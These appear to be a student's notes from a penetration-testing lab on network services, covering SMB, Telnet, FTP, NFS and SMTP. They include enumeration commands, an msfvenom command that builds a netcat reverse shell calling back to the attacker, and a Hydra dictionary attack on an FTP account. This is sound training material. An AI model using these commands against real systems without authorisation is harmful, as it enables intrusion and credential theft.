Network Services

SMB – Server Message Block Protocol – a client server communication protocol used for sharing access to files, printers, serial ports, and other resources on a network.

SBM protocol is known as a response-request protocol, meaning it transits multiple messages between the client and server to establish a connection.

Graphical user interface, application

Description automatically generated

Enumerating SMB:

Enumeration – the process of gathering info on a target to find potential attack vectors and aid in exploitation. Can be used to gather usernames, passwords, network info, hostnames, application data, services, or other info valuable to an attacker.

Port Scanning:

First step of enumeration in conducting a port scan, find out as much info you can of the target machine.

Enum4Linux – a tool used to enumerate SMB shares on both Windows and Linux systems. Makes it easy to quickly extract info for the target pertaining to SMB

The syntax of Enum4Linux is nice and simple: **"enum4linux [options] ip"**

**TAG**            **FUNCTION**

-U             get userlist  
-M             get machine list  
-N             get namelist dump (different from -U and-M)  
-S             get sharelist  
-P             get password policy information  
-G             get group and member list

-A             all of the above (full basic enumeration)

**Conduct an nmap scan of your choosing, How many ports are open?**

Let’s run an nmap scan. As a reminder, these are what the flags mean:

* -sV: service/version scan
* --script vuln: run a script scan with the [vuln scripts](https://nmap.org/nsedoc/categories/vuln.html).
* -oN nmap-$ip.out: output in normal format to the file

nmap -sV --script vuln -oN nmap-$ip.out $ip

Now to check for open ports from the scan results.

cat nmap-$ip.out | grep open

Exploiting SMB:

anonymous SMB share access-a common misconfiguration that can allow us to gain information that will lead to a shell.

Method Breakdown:

we know...

-the SMB share location

-the name of an interesting SMB share

SMBClient:

We can remotely access the SMB share using the syntax:

smbclient //[IP]/[SHARE]

Followed by the tags:

-U [name] : to specify the user

-p [port] : to specify the port

Understanding Telnet:

Telnet - an application protocol which allows you, with the use of a telnet client, to connect to and execute commands on a remote machine that's hosting a telnet server

You can connect to a telnet server with the following syntax: "telnet [ip] [port]"

Telnet: lacks encryption and has poor access control.

CVE (Common Vulernablilities and Exposures): a list of publicly disclosed computer security flaws.

You can connect to a telnet server with the following syntax:

"telnet [ip] [port]"

Reverse Shell: a "shell" is a computer program that exposes and operating system's services to a human user or other programs,. A reverse shell is a shell in which the target machine communicated back to the attacking machine rather than vice versa. The attacking machine has a listening port that gets the connection, which results in code or command execuation being achieved.

This will generate and encode a netcat (computer networking utility for reading from and writing to network connections using TCP or UDP) reverse shell for us. Here's our syntax:

"msfvenom -p cmd/unix/reverse\_netcat lhost=[local tun0 ip] lport=4444 R"

-p = payload (data being transmitted)

lhost = our local host IP address (this is your machine's IP address)

lport = the port to listen on (this is the port on your machine)

R = export the payload in raw format

FTP (File Transfer Protocol) - protocol used to allow remote transfer of files over a network. It relays commands and data in a very efficient way.

A typical FTP session operates using two channels:

-a command (sometimes called the control) channel - used for transmitting commands and replies to those commands

-a data channel - used for transferring data

FTP operates using a client-server protocol - client initiates connection, server validates login credentials and then opens the session.

While the session is open, client can execute FTP commands on the server

FTP can support Active or Passive connections, or both.

-Active - client opens port and listens. Server is required to actively connect to it.

-Passive - server opens port and listens (passively) and client connects to it.

In FTP, command and data channels are unencrypted.

A brute force attack uses trial-and-error to guess login info, encryption keys, or find a hidden web page.

Hydra is a very fast online password cracking tool, which can perform rapid dictionary attacks against more than 50 Protocols, including Telnet, RDP, SSH, FTP, HTTP, HTTPS, SMB, several databases, and more.

The syntax for the command we're going to use to find the passwords is this:

"hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp"

Let's break it down:

SECTION FUNCTION

hydra Runs the hydra tool

-t 4 Number of parallel connections per target

-l [user] Points to the user who's account you're trying to compromise

-P [path to dictionary] Points to the file containing the list of possible passwords

-vV Sets verbose mode to very verbose, shows the login+pass combination for each attempt

[machine IP] The IP address of the target machine

ftp / protocol Sets the protocol

Network Services 2

NFS (Network File System) - allows a system to share directories and files with others over a network. It mounts all or a portion of file system on a server. This portion can be accessed by clients with whatever privileges are assigned to each file.

Daemon - is a computer program that runs as a background process, rather than being under the direct control of an interactive user.

RCP - remote procedure call is when a computer program causes a procedure to execute in a different address space, which is coded as if it were a normal procedure call, without the programmer explicitly coding the details for the remote interaction.

If someone wants to access a file using NFS, an RPC call is placed to NFSD (the NFS daemon) on the server. This call takes parameters such as:

The file handle

The name of the file to be accessed

The user's, user ID

The user's group ID

NFS version 2 uses the User Datagram Protocol (UDP) to provide a stateless network connection between the client and server.

Enumeration- "a process which establishes an active connection to the target hosts to discover potential attack vectors in the system, and the same can be used for further exploitation of the system."

NFS-Common-a package that includes programs such as: lockd, statd, showmount, nfsstat, gssd, idmapd and mount.nfs. It allows file sharing between systems residing on a local area network.

You can create

this folder anywhere on your system. Once you've created this mount point, you can use the "mount" command to connect the NFS share to the mount point on your machine like so:

sudo mount -t nfs IP:share /tmp/mount/ -nolock

Let's break this down

Tag Function

sudo Run as root

mount Execute the mount command

-t nfs Type of device to mount, then specifying that it's NFS

IP:share The IP Address of the NFS server, and the name of the share we wish to mount

-nolock Specifies not to use NLM locking

root\_squash = prevents anyone connecting to NFS share from having root access to NFS volume. Remote root users are asigned a user "nfsnobody" whne connected, having the least local privileges.

SUID = the file(s) can be run w/ permissions of the file(s) owner/group. Basically (Set owner User ID up on execution), a special type of permissions given to a file.

Root squash is a special mapping of the remote superuser (root) identity when using identity authentication (local user is the same as remote user). Under root squash, a client's uid 0 (root) is mapped to 65534 (nobody). It is primarily a feature of NFS but may be available on other systems as well.

SMTP (Simple Mail Transfer Protocol) - handles sending emails:

-verifies sender through the SMTP server

-sends outgoing mail

-if outgoing mail can't be delivered it sends the message back to the sender

POP (Post Office Protocol) and IMAP (Internet Message Access Protocol) - email protocols responsible for transfer of email between a client and a mail server.

-POP has a more simplistic approach of downloading the inbox for the mail server to the client

-IMAP synchronizes the current inbox, with new mail on the server, downloading anything new.

Diagram

Description automatically generated

Journey of email form your computer to the recipient’s:

1. Mail user agent (your email client or external program) connects to SMTP server, initiating SMTP handshake. Connections made + validated = SMTP session starts.
2. Sending mail begins. Client submits sender and recipient’s email address with email and any attachments to server
3. SMTP server checks if domain name of recipient and sender is the same
4. SMTP server of the sender connects to recipient’s SMTP server. If it’s inaccessible or unavailable, email gets put into SMTP queue.
5. Recipient’s SMTP server verifies incoming email by checking if domain and username are recognized. Then it forwards email to POP/IMAP server.
6. Email shows up in recipient’s inbox.

Enumerating Users from SMTP

SMTP two internal commands allowing enumeration of users:

-VRFY – confirming names of valid users

-EXPN – reveals address of user’s aliases and mailing lists